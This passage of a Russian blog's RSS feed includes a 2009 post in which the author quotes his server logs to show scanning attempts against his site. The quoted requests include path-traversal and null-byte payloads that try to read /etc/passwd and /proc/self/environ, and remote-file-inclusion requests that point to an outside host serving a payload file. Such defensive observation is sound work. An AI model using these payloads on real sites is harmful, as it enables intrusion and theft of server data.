<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1073741824</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1073741824</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; GB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1048576</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1048576</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; MB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; KB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$size</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; B&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;2&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;4&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hacking часть I</title>
		<link>http://svdev.ru/blog/hacking-part-1/</link>
		<comments>http://svdev.ru/blog/hacking-part-1/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 10:00:48 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-i/</guid>
		<description><![CDATA[Обнаружил в логах довольно забавную картину по поиску слабых мест  
client: 83.168.217.53, server: ***, request: &#34;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&#38;a=resume&#38;id=846 HTTP/1.0&#34;
Ну и дальше вместо всех переменных пробуем подставлять:
/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00
Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.
А вот ходят по другому поводу
client: 203.237.238.234, server: ***, request: &#34;GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&#34;

client: 203.237.238.234, [...]]]></description>
			<content:encoded><![CDATA[<p>Обнаружил в логах довольно забавную картину по поиску слабых мест <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 83.168.217.53, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&amp;a=resume&amp;id=846 HTTP/1.0&quot;</span></div></div>
<p>Ну и дальше вместо всех переменных пробуем подставлять:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00</div></div>
<p>Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.</p>
<p>А вот ходят по другому поводу</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span><br />
<br />
client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span></div></div>
<p>Интересно, что за сканер такой, или руками?</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
